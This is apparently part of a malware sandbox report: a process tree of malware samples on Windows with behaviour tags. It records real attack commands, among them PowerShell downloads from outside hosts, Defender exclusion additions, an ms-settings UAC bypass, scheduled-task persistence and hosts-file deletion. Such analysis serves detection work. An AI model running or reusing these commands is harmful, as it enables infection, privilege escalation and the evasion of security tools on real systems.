        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
        9⤵
        
        PID:3568
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5152 /prefetch:1
        9⤵
        
        PID:2460
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:8
        9⤵
        
        PID:6656
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6852
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h d:\net
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5124
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6436
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\getlab.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\getlab.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:7020
  - - C:\Users\Admin\AppData\Local\Temp\is-21IMK.tmp\getlab.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-21IMK.tmp\getlab.tmp" /SL5="$303D0,3318564,54272,C:\Users\Admin\Desktop\4363463463464363463463463\Files\getlab.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5392
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause berry_player_11275
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6208
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 pause berry_player_11275
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3872
    - - C:\Users\Admin\AppData\Local\Berry Player 3.3.7\berryplayer32.exe
        
        "C:\Users\Admin\AppData\Local\Berry Player 3.3.7\berryplayer32.exe" -i
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6172
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\exbuild.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\exbuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:7096
  - - C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:6384
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\rstxdhuj.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\rstxdhuj.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6508
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\test6.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\test6.exe"
    3⤵
    - Executes dropped EXE
    PID:7576
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\GTA_V.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\GTA_V.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5096
  - - C:\Users\Admin\AppData\Local\Temp\is-L1Q0J.tmp\GTA_V.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-L1Q0J.tmp\GTA_V.tmp" /SL5="$606E4,18380059,1093120,C:\Users\Admin\Desktop\4363463463464363463463463\Files\GTA_V.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious use of SetWindowsHookEx
      PID:10100
    - - C:\Users\Admin\AppData\Local\Temp\is-0D8G3.tmp\vcredist_x86.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-0D8G3.tmp\vcredist_x86.exe" /q:a /c:"msiexec.exe /i vcredist.msi /qn"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:7164
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /i vcredist.msi /qn
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7972
    - - C:\Users\Admin\AppData\Local\Temp\is-0D8G3.tmp\4A6CA328-7888-3279-B672-D1D9D0A46EE2\Install\0\a6260f82e0c39d59703b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-0D8G3.tmp\4A6CA328-7888-3279-B672-D1D9D0A46EE2\Install\0\a6260f82e0c39d59703b.exe"
        5⤵
        
        PID:7172
      - C:\Program Files (x86)\Steam\bin\steamservice.exe
        
        "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install
        6⤵
        
        PID:6300
    - - C:\Users\Admin\AppData\Local\Temp\is-0D8G3.tmp\4A6CA328-7888-3279-B672-D1D9D0A46EE2\Install\1\1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-0D8G3.tmp\4A6CA328-7888-3279-B672-D1D9D0A46EE2\Install\1\1.exe" --partner 7983 --distr /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y ILIGHT=1 VID=40"
        5⤵
        
        PID:8420
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\dmshell.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\dmshell.exe"
    3⤵
    - Executes dropped EXE
    PID:9636
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd
      4⤵
      PID:4200
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Drops startup file
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:7620
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:7792
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'InstallUtil.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:8116
- C:\Users\Admin\Desktop\New Text Document mod.exse\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exse\New Text Document mod.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\unik.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\unik.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:7408
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test28.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test28.exe"
    3⤵
    - Executes dropped EXE
    PID:6904
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test27.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test27.exe"
    3⤵
    - Executes dropped EXE
    PID:6508
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test25.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test25.exe"
    3⤵
    - Executes dropped EXE
    PID:7868
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\main_v4.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\main_v4.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:7216
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\TikTok18.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\TikTok18.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:9020
  - - C:\Users\Admin\AppData\Local\Temp\e5ac65e\TikTok18.exe
      run=1 shortcut="C:\Users\Admin\Desktop\New Text Document mod.exse\a\TikTok18.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:8968
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\fHR9z2C.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\fHR9z2C.exe"
    3⤵
    - Executes dropped EXE
    PID:2296
  - - C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1152
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        5⤵
        
        PID:6192
  - - C:\Windows\system32\cmd.exe
      /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\5536.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      PID:9840
    - - C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\5536.vbs" /f
        5⤵
        Modifies registry class
        
        PID:9904
    - - C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
        5⤵
        Modifies registry class
        
        PID:4476
  - - C:\Windows\system32\cmd.exe
      /c start /B ComputerDefaults.exe
      4⤵
      PID:6828
    - - C:\Windows\system32\ComputerDefaults.exe
        
        ComputerDefaults.exe
        5⤵
        
        PID:10160
      - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\5536.vbs
        6⤵
        Checks computer location settings
        
        PID:10204
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
        7⤵
        
        PID:7688
  - - C:\Windows\system32\cmd.exe
      /c del /f C:\Users\Admin\AppData\Local\Temp\5536.vbs
      4⤵
      PID:6984
  - - C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:3960
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        5⤵
        Modifies registry class
        
        PID:232
  - - C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:4432
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        5⤵
        
        PID:6152
  - - C:\Windows\system32\cmd.exe
      /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\1960.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      PID:6368
    - - C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\1960.vbs" /f
        5⤵
        Modifies registry class
        
        PID:8824
    - - C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
        5⤵
        Modifies registry class
        
        PID:6500
  - - C:\Windows\system32\cmd.exe
      /c start /B ComputerDefaults.exe
      4⤵
      PID:4764
    - - C:\Windows\system32\ComputerDefaults.exe
        
        ComputerDefaults.exe
        5⤵
        
        PID:7416
      - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\1960.vbs
        6⤵
        Checks computer location settings
        
        PID:2184
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" interface ip set dns "Wi-Fi" dhcp
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:8520
  - - C:\Windows\system32\cmd.exe
      /c del /f C:\Users\Admin\AppData\Local\Temp\1960.vbs
      4⤵
      PID:2896
  - - C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:7604
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        5⤵
        Modifies registry class
        
        PID:8840
  - - C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1520
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        5⤵
        
        PID:6488
  - - C:\Windows\system32\cmd.exe
      /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\5024.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      PID:6324
    - - C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\5024.vbs" /f
        5⤵
        Modifies registry class
        
        PID:756
    - - C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
        5⤵
        
        PID:9996
  - - C:\Windows\system32\cmd.exe
      /c start /B ComputerDefaults.exe
      4⤵
      PID:10076
    - - C:\Windows\system32\ComputerDefaults.exe
        
        ComputerDefaults.exe
        5⤵
        
        PID:1444
      - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\5024.vbs
        6⤵
        Checks computer location settings
        
        PID:5156
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" interface ip set dns "Ethernet" dhcp
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:10168
  - - C:\Windows\system32\cmd.exe
      /c del /f C:\Users\Admin\AppData\Local\Temp\5024.vbs
      4⤵
      PID:8572
  - - C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:5224
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        5⤵
        Modifies registry class
        
        PID:6644
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\AmLzNi.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\AmLzNi.exe"
    3⤵
    - Executes dropped EXE
    PID:3620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri "https://ratsinthehole.com/vvvv/yVdlbFlx" -OutFile "C:\Users\Public\Guard.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5724
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\XClient.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\XClient.exe"
    3⤵
    - Executes dropped EXE
    PID:8088
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\VBVEd6f.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\VBVEd6f.exe"
    3⤵
    PID:6676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Appreciate Appreciate.cmd && Appreciate.cmd
      4⤵
      PID:9208
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:10076
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        
        PID:9992
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:10192
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        5⤵
        
        PID:5712
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 397506
        5⤵
        
        PID:10196
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Concept + ..\Mix + ..\Trunk + ..\Answers + ..\Bufing + ..\Benefits + ..\Ram + ..\Guides k
        5⤵
        
        PID:5456
    - - C:\Users\Admin\AppData\Local\Temp\397506\Mesa.com
        
        Mesa.com k
        5⤵
        
        PID:4748
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:1640
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test12.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test12.exe"
    3⤵
    PID:6080
- C:\Users\Admin\Desktop\4363463463464363463463463\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\4363463463464363463463463.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1008
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\System.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\System.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:6892
  - - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_System.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_System.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:9564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_System.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_System.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9924
  - - C:\ProgramData\Synaptics\Synaptics.exe
      "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:7224
    - - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_Synaptics.exe
        
        "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_Synaptics.exe" InjUpdate
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:9676
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5228
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:8592
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_pornhub_downloader.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_pornhub_downloader.exe"
    3⤵
    - Executes dropped EXE
    PID:9152
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\GTA_V.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\GTA_V.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:9192
- - C:\Users\Admin\AppData\Local\Temp\is-VVJ18.tmp\GTA_V.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-VVJ18.tmp\GTA_V.tmp" /SL5="$1206F8,18380059,1093120,C:\Users\Admin\Desktop\4363463463464363463463463\Files\GTA_V.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:9628
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\dmshell.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\dmshell.exe"
  2⤵
  - Executes dropped EXE
  PID:6408
- - C:\Windows\SYSTEM32\cmd.exe
    cmd
    3⤵
    PID:8212
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\rstxdhuj.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\rstxdhuj.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:10080
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_rstxdhuj.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_rstxdhuj.exe"
    3⤵
    - Executes dropped EXE
    PID:5748
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\System.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\System.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:9924
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_System.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_System.exe"
    3⤵
    - Executes dropped EXE
    PID:4932
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\exbuild.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\exbuild.exe"
  2⤵
  PID:3968
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_exbuild.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_exbuild.exe"
    3⤵
    PID:8812
- C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe"
  2⤵
  PID:8656
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_pornhub_downloader.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\._cache_pornhub_downloader.exe"
    3⤵
    PID:9556
- C:\Program Files (x86)\Steam\steam.exe
  "C:\Program Files (x86)\Steam\steam.exe"
  2⤵
  PID:6416

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3216

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4356

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3708

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4384

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:4720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 8176 -ip 8176
1⤵
PID:6956

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:7276

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:6992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 6340 -ip 6340
1⤵
PID:7288

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:7656

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:8204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C00617C0D27D4204B6E4412785FE274F
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:9512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 6700 -ip 6700
1⤵
PID:8492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6700 -ip 6700
1⤵
PID:3172

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3960

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:7212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 2260 -ip 2260
1⤵
PID:8368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6716 -ip 6716
1⤵
PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

